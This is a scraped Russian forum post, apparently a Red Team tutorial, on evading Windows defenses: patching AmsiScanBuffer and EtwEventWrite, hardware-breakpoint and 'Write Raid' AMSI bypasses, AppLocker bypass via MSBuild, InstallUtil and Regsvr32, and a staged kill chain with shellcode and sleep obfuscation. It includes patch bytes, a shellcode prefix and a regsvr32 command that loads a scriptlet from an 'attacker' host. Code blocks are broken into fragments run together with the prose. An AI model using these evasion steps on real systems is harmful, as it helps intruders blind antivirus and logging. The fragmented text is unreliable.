![]() |
https://forum.antichat.xyz/attachmen...05cae8b343.png
Вы получили initial access. Beacon жив, C2-канал поднят. Через минуту Код:
MsMpEng.exeКаждая корпоративная Windows-среда выстраивает эшелонированную защиту: статический анализ Defender, runtime-сканирование через AMSI, телеметрия ETW, политики AppLocker. Я разберу четыре эшелона и покажу, как Red Team оператор обходит каждый из них - опираясь на встроенные механизмы самой ОС - именно этот подход лежит в основе living off the land атак, которые я разобрал в полном руководстве по LOLBAS и обходу EDR. Никакой магии, только знание архитектуры. Материал для пентестеров и Red Team специалистов в рамках легальных engagement'ов. Все техники - исключительно в образовательных целях. Архитектура защиты: четыре стены, которые надо пройти Прежде чем ломать - нужно понять, что именно вас детектит. Windows Defender (Microsoft Defender Antivirus, MDAV) - не один монолитный процесс, а многослойная система, где каждый компонент работает независимо. Статический движок - Код:
MsMpEng.exeКод:
\xfc\x48\x83\xe4\xf0Код:
VirtualAllocExКод:
WriteProcessMemoryКод:
CreateRemoteThreadWdFilter.sys - kernel-mode мини-фильтр. Перехватывает файловый I/O на уровне файловой системы. Именно он не даёт просто дропнуть payload на диск - файл сканируется при записи. AMSI (Antimalware Scan Interface) - загружается как Код:
amsi.dllКод:
wscriptКод:
cscriptETW (Event Tracing for Windows) - телеметрия, пишущая всё: от Script Block Logging в PowerShell до kernel-level событий через ETW Threat Intelligence provider. Именно ETW кормит данными EDR. AppLocker - application whitelisting на уровне user-mode. Контролирует, какие исполняемые файлы, скрипты и DLL разрешено запускать. Ключевой принцип: обход AMSI не спасёт от статического детекта. Патчинг ETW не поможет, если AppLocker блокирует запуск инструмента. Defense evasion - цепочка техник, каждая нейтрализует конкретный слой. Пропустил одно звено - и весь engagement летит к чертям. Обход AMSI Windows: три поколения техник AMSI - самая часто атакуемая защита Windows, и на то есть причина: она работает в user-mode, в адресном пространстве атакуемого процесса. Как отмечают исследователи CyberArk - защита функционирует на том же уровне привилегий, что и потенциально вредоносный код. Библиотека Код:
amsi.dllКлассический патчинг AmsiScanBuffer и его ограничения Самая известная техника - модификация функции Код:
AmsiScanBufferКод:
AmsiScanStringКод:
amsi.dllКод:
GetProcAddressКод:
VirtualProtectКод:
PAGE_EXECUTE_READWRITEКод:
S_OKНемного истории. Оригинальный AMSI bypass (Matt Graeber, 2016) манипулировал полем Код:
amsiInitFailedКод:
AmsiUtilsКод:
AmsiScanBufferНа практике простой Код:
xor eax, eax; retКод:
31 C0 C3Код:
resultКод:
AMSI_RESULT_CLEANКод:
S_OKКод:
E_INVALIDARGКод:
0x80070057Код:
mov dword ptr [r9], 0; xor eax, eax; retНа реальных engagement'ах понадобится обфускация строк, динамическое разрешение адресов через хеширование имён API - а лучше переход на техники следующего поколения. Принципиальная проблема классического патчинга - он модифицирует секцию Код:
.textКод:
amsi.dllКод:
.textHardware breakpoints: bypass Windows Defender PowerShell без модификации памяти Hardware breakpoints используют аппаратные отладочные регистры процессора (DR0–DR3) вместо записи в память. Устанавливаете hardware breakpoint на адрес Код:
AmsiScanBufferКод:
AddVectoredExceptionHandlerКод:
SINGLE_STEPКод:
RAXКод:
S_OKКод:
RIPКак отмечает 0xdbgman, эта техника эффективнее классического патчинга: hardware breakpoints не оставляют следов модификации в секции Код:
.textКод:
GetThreadContextКонкретика: через P/Invoke вызываете Код:
SetThreadContextКод:
AmsiScanBufferAMSI Write Raid: writable entry без VirtualProtect В мае 2024 года исследователь OffSec Виктор Хури (Victor "Vixx" Khoury) опубликовал технику AMSI Write Raid. Уязвимость передана Microsoft 8 апреля 2024 года. Мне эта техника нравится больше остальных - элегантная и неожиданная. Суть: внутри Код:
System.Management.Automation.dllКод:
AmsiScanBufferКод:
NDirectMethodDesc::SetNDirectTargetПо данным OffSec, техника работает на PowerShell 5.1 и PowerShell 7.4 на актуальных билдах Windows 11. Смещение записи относительно базы Код:
System.Management.Automation.ni.dllКод:
movКод:
call raxКод:
AmsiScanBufferПринципиальное отличие Write Raid: вы не патчите код функции, не меняете защиту страниц, не вызываете Код:
VirtualProtectОтключение AMSI без прав администратора Все описанные техники работают без прав администратора. AMSI загружается в user-space процесса, и атакующий, запустивший PowerShell от своего пользователя, имеет полный доступ к адресному пространству этого процесса. Код:
SeDebugPrivilegeОтдельно стоит упомянуть debug-based подход: запуск Код:
powershell.exeКод:
CREATE_SUSPENDEDКод:
DebugActiveProcessКод:
LOAD_DLL_DEBUG_EVENTКод:
amsi.dllКод:
PROCESS_ALL_ACCESSETW patching: обход логирования и телеметрии Windows Допустим, вы обошли AMSI и Defender не видит payload. ETW продолжает писать телеметрию. Script Block Logging, Module Logging, события .NET runtime - всё идёт через ETW providers и доступно EDR. Для полноценной defense evasion на Windows нужно нейтрализовать и этот канал. ETW - три компонента: провайдеры (инструментированные точки в коде Windows и приложений), сессии (буферы в ядре, собирающие события), потребители (приложения, читающие буферы). По данным vaadata, ETW изначально создавался для отладки, но со временем стал основным источником данных для security-решений. Типичная история мелкософта - отладочный механизм вырос в краеугольный камень безопасности. Критический провайдер - ETW Threat Intelligence ( Код:
Microsoft-Windows-Threat-IntelligenceКод:
MiReadWriteVirtualMemoryКод:
EtwTiLogReadWriteVmЗато для script block logging bypass достаточно пропатчить Код:
EtwEventWriteКод:
ntdll.dllC#: Код:
// ETW patching - пример для демонстрации концепцииКод:
EtwEventWriteTransferКод:
EtwEventWriteTransferРазница между Код:
EtwEventWriteКод:
EtwEventWriteFullКод:
EtwEventWriteTransferКод:
EtwEventWriteКод:
EtwEventWriteTransferКод:
EtwEventWriteFullПорядок операций критичен: сначала патч ETW, затем AMSI bypass, затем payload. Перепутаете - Script Block Logging запишет ваш bypass-код до того, как ETW будет нейтрализован. На одном engagement коллега сделал ровно эту ошибку - AMSI bypass красиво отработал, а SOC уже читал его код в логах. Обход AppLocker встроенными средствами Windows AppLocker контролирует запуск исполняемых файлов (.exe), скриптов (.ps1, .bat, .vbs), установщиков (.msi) и DLL. В теории должен ограничить атакующего набором разрешённых приложений. На практике - default rules и LOLBins делают обход AppLocker встроенными средствами почти тривиальным. Требования к окружению Для практики понадобится: Windows 10/11 Enterprise или Server 2016+ (AppLocker недоступен в Home/Pro), включённая служба Код:
AppIDSvcРазведка правил и LOLBins для обхода Первый шаг - понять конфигурацию. Правила хранятся в реестре по пути Код:
HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2Код:
ExeКод:
MsiКод:
ScriptКод:
DllКод:
AppxКод:
Get-AppLockerPolicy -Effective -XmlDLL-правила в AppLocker по умолчанию не включены. Как отмечает 0xdbgman, администраторы редко их активируют из-за performance overhead. А значит, загрузка DLL через Код:
rundll32LOLBins (Living Off the Land Binaries) - подписанные Microsoft бинарники, способные выполнять произвольный код. Default rules AppLocker разрешают всё из Код:
C:\Windows\Код:
C:\Program Files\MSBuild.exe ( Код:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exeInstallUtil.exe (тот же путь .NET Framework) - техника System Binary Proxy Execution: InstallUtil (T1218.004, Defense Evasion). Класс, помеченный Код:
[System.ComponentModel.RunInstaller(true)]Код:
System.Configuration.Install.InstallerКод:
Install()Код:
Uninstall()Код:
/UКод:
/URegsvr32.exe - техника Signed Binary Proxy Execution: Regsvr32 (T1218.010, Defense Evasion). Загружает COM scriptlets с удалённого сервера: Код:
regsvr32 /s /n /u /i:http://attacker/file.sct scrobj.dllКод:
regsvr32.exeЕщё один вектор - writable paths внутри Код:
C:\Windows\Код:
accesschk.exe -uwqs Users C:\Windows\Код:
C:\Windows\TasksКод:
C:\Windows\TempКод:
C:\Windows\tracingОбход Constrained Language Mode через COM-объекты Когда AppLocker включён, PowerShell переключается в Constrained Language Mode (CLM), ограничивая доступ к .NET-типам и COM-объектам. Проверить режим: Код:
$ExecutionContext.SessionState.LanguageModeОбход через COM: объект Код:
WScript.ShellКод:
HKCUКод:
HKCU\Software\Classes\CLSID\{guid}\InprocServer32Но есть оговорка: при включённом WDAC (UMCI) загрузка неподписанной COM DLL блокируется. И в CLM Код:
New-Object -ComObjectDefense evasion техники Windows: собираем kill chain Теперь собираем всё в рабочую цепочку. Сценарий: рабочая станция Windows 11, Defender включён, AppLocker в Enforce mode, ETW пишет в SIEM. 🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей. Зарегистрироваться или Войти Шаг 1 - доставка через LOLBin. Payload приходит как .csproj (MSBuild inline task) или .sct (Regsvr32 scriptlet). AppLocker не блокирует. К payload применяется Obfuscated Files or Information (T1027, Defense Evasion по MITRE ATT&CK) - строки зашифрованы, shellcode закодирован. Шаг 2 - ETW patch. Первое действие лоадера - патч Код:
EtwEventWriteКод:
ntdll.dllКод:
xor eax,eax; retШаг 3 - AMSI bypass. Патчинг Код:
AmsiScanBufferКод:
VirtualProtectКод:
amsi.dllШаг 4 - in-memory execution. Payload загружается рефлективно без записи на диск. Reflective DLL injection или .NET Assembly loading через Код:
Assembly.Load()Шаг 5 - sleep obfuscation. Между callback'ами beacon шифрует себя в памяти. Техники Ekko (ROP-based timer queue encryption), Foliage (APC-based), Cronos (NtContinue-based) - memory scanner во время sleep видит зашифрованные байты вместо shellcode. Концептуальный пример порядка операций (в реальном engagement адаптируйте под свой tooling): C#: Код:
// Порядок операций лоадера - пример для демонстрацииЧто видит blue team и где вас могут спалить Обход антивируса встроенными инструментами Windows не равен полной невидимости. Вот что может выдать даже грамотного оператора: Sysmon Event ID 7 (Image Loaded) фиксирует загрузку DLL. Нестандартная DLL в процессе PowerShell - красный флаг для SOC. Если аналитик не спит - он это увидит. ETW Threat Intelligence provider работает в kernel-mode и не затрагивается user-mode патчингом Код:
EtwEventWriteMemory integrity checks - продвинутые EDR периодически сравнивают Код:
.textКод:
amsi.dllКод:
ntdll.dllКод:
GetThreadContextПолная невидимость - миф. Задача оператора не в том, чтобы быть невидимым, а в том, чтобы утонуть в потоке легитимных событий. Чем больше ваши действия похожи на нормальную работу системы, тем дольше вы проживёте на хосте. Попробуйте собрать описанную цепочку в лабе - Windows 11, Defender включён, Sysmon настроен. Запустите, проверьте, что попало в логи, а что нет. Это лучший способ понять, где ваш bypass реально работает, а где вы себя обманываете. Вопрос к читателям Коллеги, кто работал с техникой AMSI Write Raid (OffSec, май 2024) на актуальных билдах Windows 11 с PowerShell 7.4 - как вы вычисляли смещение writable-указателя в Код:
System.Management.Automation.ni.dllКод:
movКод:
call raxКод:
!dumpmoduleКод:
uКод:
48 8B ? ? ? ? ? FF D0Код:
.textКод:
powershell.exe |
| Время: 16:56 |